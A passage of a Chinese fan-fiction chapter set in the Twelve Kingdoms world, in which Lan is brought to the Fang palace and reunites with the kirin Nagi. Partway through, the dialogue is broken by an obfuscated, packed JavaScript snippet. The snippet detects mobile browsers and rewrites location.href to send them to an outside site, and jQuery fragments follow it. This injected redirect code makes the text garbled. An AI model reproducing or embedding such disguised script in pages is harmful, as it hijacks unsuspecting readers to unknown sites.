遵循远思的指令,冱姆简单为岚换了一身更得体的衣物,整理了一下仪容,毕竟是要进到王宫里,不能太随意。
和冱姆道别后,岚骑上月白,跟着远思前往王宫。
从远处看鹰隼宫和金波宫没什么不同,都是建立在巨型孤峰之上,但靠近时就会发现,两地王宫的建筑风格截然不同。
阳子登基后并没有让工匠改造金波宫,为了节约国库,只是进行了简单的修缮,整体风格仍是予王时代的建筑风格。
予王出身商户,性格文静,在成为王之前就不爱出门,她在闺阁中养了很多小动物,平时只爱和它们玩耍。
所以予王更喜欢素雅端庄的风格,于是大臣们为了讨好主上,奉上了许多予王喜爱的风格的宝物,甚至专门推荐工匠,为予王建造喜欢的宫室。
故而金波宫的风格除了王宫的壮丽之外,大部分宫室花园都非常秀雅简约,流水假山亭台廊道等等,每一处乍一看不起眼,但仔细看去都非常的精致,而且与环境相得益彰,自然和谐。
而鹰隼宫则并非如此,厉王仲鞑生活节俭朴素,但他的王后却并非如此,她偏爱珠宝华服,衣食住行都十分奢侈,但厉王对其行为并无制止,反而很是信任。
上行下效,官员为了讨好王后,奉上无数奇珍异宝,不过因为芳国是四极国之一,冬天比不是极国的庆国要冷很多,所以其建筑在功能上更注重保暖,在外表上则更具有气势,璇霄丹阙,高耸巍峨,而内里陈设更是流光溢彩,富丽堂皇。
岚被安排在翠羽宫等待,宫殿内的金银玉器,差点闪瞎她的眼睛,这种奢侈程度,已经是另一个世界了。
芳国这么富有吗?
岚感觉有点如坐针毡,这是她能待的地方吗?说实话,她还是更喜欢阳子那边的风格。
另一边远思则去向月溪报告。
“主上,臣已经将人安置在翠羽宫等候召见。”
“不要再叫我主上了远思,台辅已经归来,月阴之朝马上就要结束了。”
要说月溪心中是否有不甘,那肯定还是有的,他不是没有成为王的野心,只是他打心里不认为自己能被麒麟选择,而事实也确实如此,他不由得苦笑。
远思自然心中不忿,不过他也知道这是无可奈何的事,比起这个他更担心新王登基后,月溪大人是否会被新王针对。
“那人叫什么名字?”月溪继续问道。
“她叫岚,来自庆国,暂住在里家。”在带她来的路上远思观察过岚,除了容貌有些特别外,他没发现什么过人之处。
远思继续说道:“以臣曾作为军人的眼光看,这个人并没有习过武,杀死蛊雕应该只是巧合。”
“巧合……”月溪思忖后道:“无妨,通知台辅吧,台辅想要见她。”
这件事既然是峯麒的意思,月溪并没有插手的想法,他只是派人将消息告知内宫的使者,再由他们传递给凪。
王宫分为外殿和内殿,又叫外宫和内宫,官吏都在外宫活动,基本上不得进入内殿之内。与之相反,王基本上都在内宫生活,通常不会踏出外殿以外。
当然这样的规矩只能用来约束麒麟之外的官吏,麒麟是官吏,各国王都所在州的州侯都由麒麟担任,称为宰辅。
但它们更是王的半身,与王一同居住在内宫,各有宫室。
当然也有例外,一般情况下,王在主殿,麒麟在仁重殿。但奏国的宗王和麒麟,以及宗王亲自挑选的亲信和他的近亲,一同住在以偌大的后宫为中心的典章殿。
在峯麒归来之前,月溪作为伪王也居住在内宫,但是凪回来之后,月溪就主动搬离了内宫,在外宫居住。
骅玉守在殿外,里面凪正在休息,这段时间他的日程安排都很满,月溪让天官长负责他的学习,学习知识从每日早上太阳刚刚升起时开始,中午有一段时间午休,下午则是月溪亲自来指导他处理一些不太紧急的禹州事务,作为实践。
最近因为妖魔的事,月溪很忙,下午就变成了凪自己的时间,不过凪也没有因此松懈,他是禹州的州侯所以对禹州的关注要比其他地方多一些,下午的时间刚好可以让他熟悉禹州的各种人事安排。
当内侍进来传话来的时候,就看见凪趴在桌子上,旁边还散落了很多书籍奏折。
“台辅。”飞奢的声音唤醒了凪。
他直起身子,揉了揉眼睛,看见内侍站在门口,他问道:“进来吧,有什么事吗?”
来传信的内侍自然已经经过骅玉的检查,她也跟在身后,一同进来。
侍从进入伏地跪拜道:“月溪大人派人来传话给台辅,您要见的人到了,正在翠羽宫等候。”
“我知道了,辛苦你。”
侍从起身告退,骅玉开口道:“台辅何不让月溪大人到内宫居住,这样也方便您与月溪大人商谈国事。”
从前些天开始,骅玉一直在考虑如何拉近峯麒与月溪的关系,今天她才有机会向峯麒提出建议。
“没那个必要。”凪走出房间,到院子里,然后看向东边的方向,问道:“那边是翠羽宫吗?”
还不容易找到的机会就这样被拒绝,骅玉感觉有些挫败,听到凪的问话,她的思绪还没有转过来,啊了一声,才回过神,说道:“是,是啊,现在就去吗?台辅。”
“走吧。”凪勾起嘴角,心中有一丝雀跃,回答的语气也欢快起来,完全不似平时那般冷淡。
一旁的骅玉看的一愣,完全不明白见一个人而已为什么这么高兴?难道说是这段时间太无聊了,看腻了她们这些人,所以见到新人很高兴?
翠羽宫在外宫一处相对偏远的地方,翠羽之名来自其宫殿内部有一个小院,院内设有琉璃温室,里面训养了一种羽毛极为绚丽的翠鸟。
这些鸟儿夏天会被放出温室,自由的在院落中活动,到了天冷的时候就会回到温室里生活。
现在还未入冬,但也已经是深秋,鸟儿早就被迁入温室,这里又没什么人在,岚百无聊赖,开始犯困。
到了翠羽宫正门,岚停住脚步,身后跟着一干侍从不明所以,只能跟着一起停下。
“你们不用跟着了,有骅玉在。”
说完其余众人留在大门处,骅玉跟着凪从朱红色的大门进入,穿过前院花园,走过廊道,在垂花门的位置凪制止了骅玉。
“骅玉,你就在这里等我吧。”
“这…
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437307|200978||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…台辅……臣不能离开您。”骅玉露出不赞同的目光,她的职责就是跟在峯麒身边,保护他的安全。
“无妨,这里很近,而且我有使令护身,不会有危险。”凪的声音还是一如往常般平淡,但是却没有给骅玉任何拒绝的机会。
与凪相处这段时间,骅玉对于自家台辅的性格也算是了解了一些,无论是长相还是语气,凪总是淡淡,可他表达的事情,却总是不容他人辩驳,说一不二。
“臣明白了。”
凪点头,然后推开门道:“不必关上,这里能看见里面的情况,你也能安心。”
骅玉长舒一口气,还好,台辅虽然平时冷淡了些,强硬了些,但是本性仍是麒麟的仁慈。
这里离正殿不远,虽然不能完全看清里面的情况,但她隐约也能看见,让她安心不少。
凪接着往正殿走,正殿就在前面,透过树枝就能看见,凪绕过一棵巨型古树,就看见正厅里,一个穿着劲装的女子斜靠在椅子上,跷着腿,手臂垫着桌子支撑头,眼睛闭着,似在小憩。
凪放轻脚步,走到她面前,岚虽然闭着眼,但是在这里她也不可能完全没有警惕之心,当感觉到有人靠近时她虽然没有睁开眼,但头脑已经清醒了。
白色的发丝已经长到膝盖的位置,岚笑了笑,然后抬起头,对上凪宛如紫水晶般的眼眸,一瞬间百感交集。
“好久不见。”凪看着岚略显憔悴的脸,她消瘦了一些,脸色比之前更苍白了,还有黑眼圈,衣着整洁光亮如新,应该是特意打理过。
凪想坐到她旁边的凳子上,却被岚突然起身的岚吓到,后退半步,然后感受到自己的身体被紧紧束缚。
岚看着凪的再也忍不下去,起身扑一般将他抱住,她很想问到底发生什么?怎么会突然消失?知不知道自己有多担心他……
可是话到嘴边只剩下一句。
“你没事就好。”
凪回抱住她的腰,轻轻抚摸她的后背,将头靠在她的肩膀上,说道:“别担心,我没事。”
两人分开,并排坐着,岚直接开启连珠炮模式,一边捞起凪胸前的一缕发丝放在手里把玩,一边问道:“岚大人现在要审你了。到底发生了什么事!从实招来!”
凪很想笑,奈何自己的头发被当成了发人质,配合她胡闹,捏起嗓子求饶道:“大人我冤枉,请听我解释。”
凪老老实实地开始讲这段时间发生的事,被延台辅掳去雁国,后来又去了蓬山,还收服了使令,最后来到芳国。
“你怎么不来找我,知不知道我有多担心!”
凪的经历确实离奇精彩,但岚也不是那么容易糊弄的,最重要的事她可没忘。
凪沉默了。
岚继续说道:“因为王和麒麟的事?”
“……”
看他沉默岚知道自己说中了,又继续追问道:“你是怎么想的?”
凪没有回答这个问题,反而问道:“不如说说你这段时间的经历?我也很想知道岚你这段时间都经历了什么。”
“转移话题。”
“总不能只许你问,不许我问吧?暴君。”
“哼~好吧,其实也没什么……”